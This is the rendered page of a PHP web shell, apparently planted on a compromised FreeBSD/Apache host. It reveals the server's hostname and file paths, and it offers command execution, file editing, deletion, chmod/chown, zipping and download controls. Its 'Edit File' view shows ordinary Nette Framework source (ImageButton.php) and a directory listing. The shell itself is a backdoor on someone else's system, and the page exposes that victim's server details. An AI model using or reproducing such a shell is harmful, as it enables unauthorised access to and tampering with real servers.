TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
download
app
Nette
Forms
Controls
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/download/app/Nette/Forms/Controls/ImageButton.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * * Copyright (c) 2004 David Grudl (http://davidgrudl.com) * * For the full copyright and license information, please view * the file license.txt that was distributed with this source code. */ namespace Nette\Forms\Controls; use Nette; /** * Submittable image button form control. * * @author David Grudl */ class ImageButton extends SubmitButton { /** * @param string URI of the image * @param string alternate text for the image */ public function __construct($src = NULL, $alt = NULL) { parent::__construct(); $this->control->type = 'image'; $this->control->src = $src; $this->control->alt = $alt; } /** * Returns HTML name of control. * @return string */ public function getHtmlName() { $name = parent::getHtmlName(); return strpos($name, '[') === FALSE ? $name : $name . '[]'; } /** * Loads HTTP data. * @return void */ public function loadHttpData() { $path = $this->getHtmlName(); // img_x or img['x'] $path = explode('[', strtr(str_replace(']', '', strpos($path, '[') === FALSE ? $path . '.x' : substr($path, 0, -2)), '.', '_')); $this->setValue(Nette\Utils\Arrays::get($this->getForm()->getHttpData(), $path, NULL)); } }
Crotin
Name
Size
Permissions
Modified
User/Group
BaseControl.php
13409
0644
2015-08-08 18:27:55
Unknown/Unknown
MultiSelectBox.php
1907
0644
2015-08-08 18:27:55
Unknown/Unknown
Button.php
1019
0644
2015-08-08 18:27:54
Unknown/Unknown
HiddenField.php
1306
0644
2015-08-08 18:27:55
Unknown/Unknown
SelectBox.php
4831
0644
2015-08-08 18:27:55
Unknown/Unknown
ImageButton.php
1283
0644
2015-08-08 18:27:55
Unknown/Unknown
TextBase.php
5369
0644
2015-08-08 18:27:55
Unknown/Unknown
TextInput.php
2358
0644
2015-08-08 18:27:55
Unknown/Unknown
RadioList.php
3554
0644
2015-08-08 18:27:55
Unknown/Unknown
Checkbox.php
1045
0644
2015-08-08 18:27:56
Unknown/Unknown
UploadControl.php
2930
0644
2015-08-08 18:27:55
Unknown/Unknown
SubmitButton.php
2320
0644
2015-08-08 18:27:55
Unknown/Unknown
TextArea.php
1060
0644
2015-08-08 18:27:55
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin